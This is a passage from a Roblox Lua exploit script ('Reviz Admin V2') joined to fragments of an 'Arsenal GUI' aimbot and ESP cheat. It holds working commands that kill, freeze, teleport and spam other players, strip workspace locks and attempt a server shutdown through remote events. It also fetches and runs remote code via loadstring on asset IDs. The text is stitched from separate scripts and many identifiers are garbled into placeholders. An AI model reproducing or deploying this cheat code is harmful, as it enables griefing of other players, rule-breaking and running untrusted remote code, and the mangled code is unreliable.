(([Link] * (CONTROL.F + CONTROL.B)) +
(([Link] * [Link](CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - [Link].p))
* SPEED
lCONTROL = {F =
CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L +
CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
[Link] =
(([Link] * (lCONTROL.F + lCONTROL.B)) +
(([Link] * [Link](lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
[Link].p)) * SPEED
else
[Link] =
[Link](0, 0.1, 0)
end
[Link] =
[Link]
until not flying
CONTROL = {F = 0, B = 0, L = 0, R =
0}
lCONTROL = {F = 0, B = 0, L = 0, R
= 0}
SPEED = 0
BG:destroy()
BV:destroy()

[Link] = false
end)
end
[Link]:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
[Link]:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if [Link]([Link], 1, 5) == ("unfly") then
flying = false
[Link] =
false
end
if [Link]([Link], 1, 5) == ("chat ") then

game:GetService("ReplicatedStorage").[Link]:
FireServer(([Link]([Link], 6)), "All")
end
if [Link]([Link], 1, 5) == ("spam ") then
spamtext = ([Link]([Link], 6))
spamming = true
end
if [Link]([Link], 1, 6) == ("unspam") then
spamming = false
end
if [Link]([Link], 1, 9) == ("spamwait ")
then
spamdelay = ([Link]([Link], 10))
end
if [Link]([Link], 1, 7) == ("pmspam ") then
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
pmspammed = [Link]
spammingpm = true
end
end
if [Link]([Link], 1, 8) == ("unpmspam") then
spammingpm = false
end
if [Link]([Link], 1, 8) == ("cfreeze ") then
for i,v in
pairs(GetPlayer([Link]([Link], 9))) do
[Link]["Left Leg"].Anchored = true
[Link]["Left Arm"].Anchored = true
[Link]["Right Leg"].Anchored = true
[Link]["Right Arm"].Anchored = true
[Link] = true
[Link] = true
end
end
if [Link]([Link], 1, 10) == ("uncfreeze ")
then
for i,v in
pairs(GetPlayer([Link]([Link], 11))) do
[Link]["Left Leg"].Anchored = false
[Link]["Left Arm"].Anchored = false
[Link]["Right Leg"].Anchored = false
[Link]["Right Arm"].Anchored = false
[Link] = false
[Link] = false
end
end
if [Link]([Link], 1, 8) == ("unlockws") then
local a =
game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Locked = false
end
end
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws
to lock.";
})
end
if [Link]([Link], 1, 6) == ("lockws") then
local a =
game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Locked = true
end
end
end
end
end
if [Link]([Link], 1, 6) == ("btools") then
local Clone_T =
[Link]("HopperBin",[Link])
Clone_T.BinType = "Clone"
local Destruct =
[Link]("HopperBin",[Link])
[Link] = "Hammer"
local Hold_T =
[Link]("HopperBin",[Link])
Hold_T.BinType = "Grab"
end
if [Link]([Link], 1, 6) == ("pstand") then
[Link] = true
end
if [Link]([Link], 1, 8) == ("unpstand") then
[Link] =
false
end
if [Link]([Link], 1, 9) == ("blockhead")
then
[Link]:Destroy()
end
if [Link]([Link], 1, 3) == ("sit") then
[Link] = true
end
if [Link]([Link], 1, 9) == ("bringobj ")
then
local function bringobjw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] ==
([Link]([Link], 10)) then
[Link] =
[Link]
[Link] = false
[Link] = 0.7
wait()
[Link] =
[Link]["Left Leg"].CFrame
wait()
[Link] =
[Link]["Right Leg"].CFrame
wait()
[Link] =
[Link]["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if [Link]([Link], 1, 6) == ("wsvis ") then
vis = ([Link]([Link], 7))
local a =
game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part"
then
r[i].Transparency = vis
end
end
end
end
end
if [Link]([Link], 1, 10) == ("hypertotal")
then

loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if [Link]([Link], 1, 4) == ("cmds") then
[Link] = true
end
if [Link]([Link], 1, 9) == ("rmeshhats")
then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
[Link]:Destroy()
end
end
end
if [Link]([Link], 1, 9) == ("blockhats")
then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
[Link]:Destroy()
end
end
end
if [Link]([Link], 1, 9) == ("rmeshtool")
then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link]:Destroy()
end
end
end
if [Link]([Link], 1, 9) == ("blocktool")
then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link]:Destroy()
end
end
end
if [Link]([Link], 1, 7) == ("spinner") then
local p = [Link]("RocketPropulsion")
[Link] = [Link]
[Link] = "Spinner"
[Link] = [Link]["Left Arm"]
p:Fire()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if [Link]([Link], 1, 9) == ("nospinner")
then
[Link]:Destroy()
end
if [Link]([Link], 1, 6) == ("reachd") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
local a =
[Link]("SelectionBox",[Link])
[Link] = [Link]
[Link] =
[Link](0.5,0.5,60)
[Link] = [Link](0,0,0)

[Link]:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use
;noreach to disable.";
})
end
if [Link]([Link], 1, 6) == ("reach ") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
local a =
[Link]("SelectionBox",[Link])
[Link] = "Reach"
[Link] = [Link]
[Link] =
[Link](0.5,0.5,([Link]([Link], 7)))
[Link] = [Link](0,0,0)

[Link]:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use
;noreach to disable.";
})
end
if [Link]([Link], 1, 7) == ("noreach") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
[Link]:Destroy()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped
sword.";
})
end
if [Link]([Link], 1, 6) == ("rkill ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7)))do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
wait(0.1)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.5)
[Link]
= [Link]([Link](-100000,10,-100000))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 6) == ("tp me ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
[Link]
= game:GetService("Players")[[Link]].[Link]
end
end
if [Link]([Link], 1, 7) == ("cbring ") then
if ([Link]([Link], 8)) == "all" or
([Link]([Link], 8)) == "All" or ([Link]([Link], 8)) == "ALL" then
cbringall = true
else
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
brplr = [Link]
end
end
cbring = true
end
if [Link]([Link], 1, 8) == ("uncbring") then
cbring = false
cbringall = false
end
if [Link]([Link], 1, 5) == ("swap ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
local NOWPLR = game:GetService("Players")
[[Link]].[Link]
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then

char1:MoveTo([Link])
end
end
wait(0.1)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.5)
[Link]
= NOW
wait(0.6)
tp(lplayer, game:GetService("Players")
[[Link]])
wait(0.4)
[Link]
= NOWPLR

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 7) == ("glitch ") then
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
[Link]
= game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.3)
[Link]
= game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.4)
b = [Link]("BodyForce")
[Link] =
[Link]
[Link] = "Glitch"
[Link] = [Link](100000000,5000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 8) == ("unglitch") then

[Link]:Destroy()
[Link] =
[Link](10000,0,10000)
b = [Link]("BodyForce")
[Link] = [Link]
[Link] = "unGlitch"
[Link] = [Link](0,-5000000,0)
wait(2)

[Link]:Destroy()
end
if [Link]([Link], 1, 8) == ("grespawn") then
[Link] = 0
wait(1)
[Link] =
[Link](1000000,0,1000000)
[Link] =
[Link](1000000,0,1000000)
end
if [Link]([Link], 1, 8) == ("explorer") then

loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if [Link]([Link], 1, 5) == ("anim ") then
local Anim = [Link]("Animation")
[Link] = "rbxassetid://"..
([Link]([Link], 6))
local track =
[Link]:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if [Link]([Link], 1, 7) == ("animgui") then

loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has
loaded.";
})
end
if [Link]([Link], 1, 7) == ("savepos") then
saved =
[Link]

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved
position.";
})
end
if [Link]([Link], 1, 7) == ("loadpos") then
[Link] =
saved
end
if [Link]([Link], 1, 5) == ("bang ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
local Anim2 = [Link]("Animation")
[Link] =
"rbxassetid://148840371"
local track2 =
[Link]:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = [Link]
banpl = true
end
end
if [Link]([Link], 1, 6) == ("unbang") then
banpl = false
end
if [Link]([Link], 1, 9) == ("bringmod ")
then
local function bringmodw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] ==
([Link]([Link], 10)) then
for i,ch in
pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart"))
then
[Link] =
[Link]
[Link] =
false
[Link] =
0.7
wait()
[Link] =
[Link]["Left Leg"].CFrame
wait()
[Link] =
[Link]["Right Leg"].CFrame
wait()
[Link] =
[Link]["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if [Link]([Link], 1, 7) == ("respawn") then
local mod = [Link]('Model', workspace)
[Link] = 're '..[Link]
local hum = [Link]('Humanoid', mod)
local ins = [Link]('Part', mod) [Link]
= 'Torso' [Link] = false [Link] = 1
[Link] = mod
end
if [Link]([Link], 1, 8) == ("shutdown") then

game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in
pairs(game:GetService'Players':GetPlayers()) do
if [Link] ~= nil and
[Link]:FindFirstChild'Head' then
for _,x in
pairs([Link]:GetChildren()) do
if x:IsA'Sound'
then [Link] = true [Link]:FireServer(true, true) end
end
end
end
end)
end)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if [Link]([Link], 1, 7) == ("delobj ") then
objtodel = ([Link]([Link], 8))
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] == objtodel then
v:Destroy()
end
end
end
if [Link]([Link], 1, 7) == ("getplrs") then
for i,v in
pairs(game:GetService("Players"):GetPlayers())do
print(v)
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to
console. (F9)";
})
end
if [Link]([Link], 1, 8) == ("deldecal") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if [Link]([Link], 1, 10) == ("opfinality")
then

loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if [Link]([Link], 1, 7) == ("remotes") then
remotes = true
added = true
[Link]:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent")
then
print("A RemoteEvent was
added!")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
[Link]:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if
rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction
was added!")
warn(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end end
end)

[Link]:connect(function(bndfnctn)
if added == true then
if binds == true then
if
bndfnctn:IsA("BindableFunction") then
print("A
BindableFunction was added!")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end end
end)

[Link]:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent")
then
warn("A BindableEvent
was added!")
warn(" game." ..
bnd:GetFullName() .. " | BindableEvent")
print(" game." ..
bnd:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants())
do
if v:IsA("BindableFunction") then
print(" game." ..
v:GetFullName() .. " | BindableFunction")
print(" game." ..
v:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end
for i,v in pairs(game:GetDescendants())
do
if v:IsA("BindableEvent") then
warn(" game." ..
v:GetFullName() .. " | BindableEvent")
print(" game." ..
v:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants())
do
if v:IsA("RemoteFunction") then
warn(" game." ..
v:GetFullName() .. " | RemoteFunction")
print(" game." ..
v:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end
wait()
for i,v in pairs(game:GetDescendants())
do
if v:IsA("RemoteEvent") then
print(" game." ..
v:GetFullName() .. " | RemoteEvent")
print(" game." ..
v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if [Link]([Link], 1, 9) == ("noremotes")
then
remotes = false
added = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if [Link]([Link], 1, 9) == ("tpdefault")
then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if [Link]([Link], 1, 7) == ("stopsit") then
stopsitting = true
end
if [Link]([Link], 1, 5) == ("gosit") then
stopsitting = false
end
if [Link]([Link], 1, 7) == ("version") then
print(adminversion)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if [Link]([Link], 1, 7) == ("clicktp") then
clickgoto = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse
position";
})
end
if [Link]([Link], 1, 9) == ("noclicktp")
then
clickgoto = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if [Link]([Link], 1, 7) == ("toolson") then
gettingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools
dropped.";
})
end
if [Link]([Link], 1, 8) == ("toolsoff") then
gettingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if [Link]([Link], 1, 9) == ("delcmdbar")
then
ScreenGui:Destroy()
end
if [Link]([Link], 1, 5) == ("reset") then
[Link]:Destroy()
end
if [Link]([Link], 1, 6) == ("state ") then
statechosen = [Link]([Link], 7)
changingstate = true
end
if [Link]([Link], 1, 8) == ("gravity ") then
game:GetService("Workspace").Gravity =
[Link]([Link], 9)
end
if [Link]([Link], 1, 9) == ("looprhats")
then
removingmeshhats = true
end
if [Link]([Link], 1, 11) == ("unlooprhats")
then
removingmeshhats = false
end
if [Link]([Link], 1, 9) == ("looprtool")
then
removingmeshtool = true
end
if [Link]([Link], 1, 11) == ("unlooprtool")
then
removingmeshtool = false
end
if [Link]([Link], 1, 9) == ("givetool ")
then
for i,v in
pairs(game:GetService("Players").[Link]:GetDescendants()) do
if v:IsA("Tool") then
for i,player in
pairs(GetPlayer([Link]([Link], 10))) do
[Link] = [Link]
end
end
end
end
if [Link]([Link], 1, 4) == ("age ") then
for i,player in
pairs(GetPlayer([Link]([Link], 5))) do

game:GetService("ReplicatedStorage").[Link]:
FireServer([Link].." Account Age: "..[Link].." days!", "All")
end
end
if [Link]([Link], 1, 3) == ("id ") then
for i,player in
pairs(GetPlayer([Link]([Link], 4))) do

game:GetService("ReplicatedStorage").[Link]:
FireServer([Link].." Account ID: "..[Link], "All")
end
end
if [Link]([Link], 1, 5) == (".age ") then
for i,player in
pairs(GetPlayer([Link]([Link], 6))) do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = [Link].." Days";
Text = "Account age of
"..[Link];
})
end
end
if [Link]([Link], 1, 4) == (".id ") then
for i,player in
pairs(GetPlayer([Link]([Link], 5))) do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = [Link].." ID";
Text = "Account ID of
"..[Link];
})
end
end
if [Link]([Link], 1, 6) == ("gameid") then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. [Link];
})
end
if [Link]([Link], 1, 3) == ("pgs") then
local pgscheck =
game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if [Link]([Link], 1, 11) == ("removeinvis")
then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if [Link] == 1 then
if [Link] ~=
"HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if [Link]([Link], 1, 9) == ("removefog")
then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd =
9999999999999
end
if [Link]([Link], 1, 7) == ("disable") then
[Link] = lplayer
end
if [Link]([Link], 1, 6) == ("enable") then
[Link] = [Link]
end
if [Link]([Link], 1, 13) == ("givealltools
") then
for i,v in
pairs(game:GetService("Players").[Link]:GetDescendants()) do
if v:IsA("Tool") then
[Link] = [Link]
wait()
for i,player in
pairs(GetPlayer([Link]([Link], 14))) do
[Link] = [Link]
end
end
end
end
if [Link]([Link], 1, 9) == ("flyspeed ")
then
speedfly = [Link]([Link], 10)
wait()
change()
end
if [Link]([Link], 1, 7) == ("carpet ") then
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
local Anim3 = [Link]("Animation")
[Link] =
"rbxassetid://282574440"
local track3 =
[Link]:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = [Link]
banpl = true
end
end
if [Link]([Link], 1, 8) == ("uncarpet") then
banpl = false
end
if [Link]([Link], 1, 6) == ("stare ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
staring = true
stareplr = v
end
end
if [Link]([Link], 1, 7) == ("unstare") then
staring = false
end
if [Link]([Link], 1, 7) == ("logchat") then
chatlogs = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if [Link]([Link], 1, 9) == ("unlogchat")
then
chatlogs = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player
chat.";
})
end
if [Link]([Link], 1, 6) == ("fixcam") then

game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)

game:GetService("Workspace").[Link] =
[Link]

game:GetService("Workspace").[Link] = "Custom"
[Link] = 0.5
[Link] = 400
[Link] = "Classic"
end
if [Link]([Link], 1, 7) == ("unstate") then
changingstate = false
end
[Link] = ""
end
end)

wait(0.3)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loaded successfully!";
Text = "Reviz Admin V2 by illremember";
})
wait(0.1)
print("Reviz Admin V2 loaded!")
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a
different admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a
different admin script.";
})
end

local intro = [Link]("ScreenGui")


local Frame = [Link]("Frame")
local ImageLabel = [Link]("ImageLabel")
[Link] = game:GetService("CoreGui")
[Link] = intro
Frame.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link](1, 0, 0, 300)
[Link] = [Link](0, 0, -0.4, 0)
[Link] = Frame
ImageLabel.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link](0, 0, 0, 0)
[Link] = [Link](1, 0, 1, 0)
[Link] = "[Link]
Frame:TweenPosition([Link](0, 0, 0.2, 0), "Out", "Elastic", 3)
wait(3.01)
Frame:TweenPosition([Link](0, 0, 1.5, 0), "Out", "Elastic", 5)
wait(5.01)
intro:Destroy()
end)

[Link] = "arrest"
[Link] = main
arrest.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.349623203, 0, 0.306112915, 0)
[Link] = [Link](0, 110, 0, 32)
[Link] = [Link]
[Link] = "Arrest"
arrest.TextColor3 = [Link](1, 0, 0)
[Link] = 14
arrest.MouseButton1Down:connect(function()
local mouse = [Link]:GetMouse()
local arrestEvent = [Link]
mouse.Button1Down:connect(function()
local obj = [Link]
local response = arrestEvent:InvokeServer(obj)
end)
end)

[Link] = "attach"
[Link] = main
attach.BackgroundColor3 = [Link](0, 1, 1)
[Link] = [Link](0.679666638, 0, 0.304921538, 0)
[Link] = [Link](0, 111, 0, 32)
[Link] = [Link]
[Link] = "Aimbot"
attach.TextColor3 = [Link](1, 0, 0)
[Link] = 14
attach.MouseButton1Down:connect(function()
local plrs = game:GetService("Players")
local TeamBased = true ; local teambasedswitch = "o"
local presskeytoaim = true; local aimkey = "e"
local raycast = false

local espupdatetime = 5; autoesp = false


local lockaim = true; local lockangle = 5

--function findwat(folder, what)


-- for i, smth in pairs(folder:GetChildren()) do
-- if [Link]([Link](tostring(smth)),
[Link](what)) then
-- return smth
-- end
-- end
--end
--
--local plrs = findwat(game, "Players")

local Gui = [Link]("ScreenGui")


local Move = [Link]("Frame")
local Main = [Link]("Frame")
local EspStatus = [Link]("TextLabel")
local st1 = [Link]("TextLabel")
local st1_2 = [Link]("TextLabel")
local st1_3 = [Link]("TextLabel")
local Name = [Link]("TextLabel")
--Properties:
[Link] = "Gui"
[Link] = [Link]:WaitForChild("PlayerGui")

[Link] = "Move"
[Link] = Gui
Move.BackgroundColor3 = [Link](0.545098, 0, 0)
[Link] = 1
[Link] = 0
[Link] = true
[Link] = [Link](0.005, 0, -0.15, 0)
[Link] = [Link](0.28141585, 0, 0.0320388414, 0)

[Link] = "Main"
[Link] = Move
Main.BackgroundColor3 = [Link](1, 1, 1)
[Link] = [Link](0, -7, 20.9960003, 0)
[Link] = [Link](1, 0, 5.79699993, 0)
[Link] = [Link]
[Link] = "EspStatus"
[Link] = Main
EspStatus.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link](0, 0, 0.300000012, 0)
[Link] = [Link](1, 0, 0.162, 0)
[Link] = [Link]
[Link] = "Press O to change team based mode"
EspStatus.TextColor3 = [Link](0.6, 0.196078, 0.8)
[Link] = true
[Link] = true

[Link] = "st1"
[Link] = Main
st1.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link](0.271787882, 0, 0, 0)
[Link] = [Link](0.728211343, 0, 0.161862016, 0)
[Link] = [Link]
[Link] = ""
st1.TextColor3 = [Link](0.0784314, 0.541176, 0)
[Link] = true
[Link] = 14
[Link] = true

st1_2.Name = "st1"
st1_2.Parent = Main
st1_2.BackgroundColor3 = [Link](1, 1, 1)
st1_2.BackgroundTransparency = 1
st1_2.Position = [Link](0, 0, 0.875999987, 0)
st1_2.Size = [Link](0.999999881, 0, 0.161862016, 0)
st1_2.Font = [Link]
st1_2.Text = "Press E to lock on a person inside ur view"
st1_2.TextColor3 = [Link](0.6, 0.196078, 0.8)
st1_2.TextScaled = true
st1_2.TextWrapped = true

st1_3.Name = "st1"
st1_3.Parent = Main
st1_3.BackgroundColor3 = [Link](1, 1, 1)
st1_3.BackgroundTransparency = 1
st1_3.Position = [Link](0, 0, 0.54, 0)
st1_3.Size = [Link](1, 0, 0.261999995, 0)
st1_3.Font = [Link]
st1_3.Text = "Press L to enable esp loop and press T to update
esp"
st1_3.TextColor3 = [Link](0.6, 0.196078, 0.8)
st1_3.TextScaled = true
st1_3.TextWrapped = true

[Link] = "Name"
[Link] = Move
Name.BackgroundColor3 = [Link](0.545098, 0, 0)
[Link] = 1
[Link] = [Link](0, 25, 20.9860001, 0)
[Link] = [Link](0.838, 0, 1.27999997, 0)
[Link] = [Link]
[Link] = "ARSENAL GUI"
Name.TextColor3 = [Link](0.541176, 0.168627, 0.886275)
[Link] = true
[Link] = 12
[Link] = true
-- Scripts:

local plrsforaim = {}

local lplr = game:GetService("Players").LocalPlayer


[Link] = true
[Link] = false
[Link] = "Chat"
[Link] = 999

[Link] = [Link]

f = {}
local espforlder

[Link] = function()
--print("ESP ran")
if espforlder then
else
espforlder = [Link]("Folder")
[Link] = [Link]
end
for i, v in pairs(espforlder:GetChildren()) do
v:Destroy()
end
for _, plr in pairs(plrs:GetChildren()) do
if [Link] and [Link] >
0 and [Link] ~= [Link] then
if TeamBased == true then
if [Link] ~=
[Link] then
local e =
espforlder:FindFirstChild([Link])
if not e then
--print("Added esp for team
based")
local bill =
[Link]("BillboardGui", espforlder)
[Link] = [Link]
[Link] = true
[Link] =
[Link](1,0,1,0)
[Link] =
[Link]
local Frame =
[Link]('Frame',bill)
[Link] = true
Frame.BackgroundColor3 =
[Link](0.862745, 0.0784314, 0.235294)
[Link]
= 0
[Link] = 0
[Link] =
[Link](.5, .5)
[Link] = [Link]
(0.5,0,0.5,0)
[Link] = [Link]
(1,0,1,0)
[Link] = 0

[Link]:Connect(function()
bill:Destroy()
end)
end
end
else
local e =
espforlder:FindFirstChild([Link])
if not e then
--print("Added esp")
local bill =
[Link]("BillboardGui", espforlder)
[Link] = [Link]
[Link] = true
[Link] = [Link](1,0,1,0)
[Link] = [Link]
local Frame =
[Link]('Frame',bill)
[Link] = true
Frame.BackgroundColor3 =
[Link](0/255,255/255,0/255)
[Link] = 0
[Link] = 0
[Link] = [Link](.5,
.5)
[Link] = [Link]
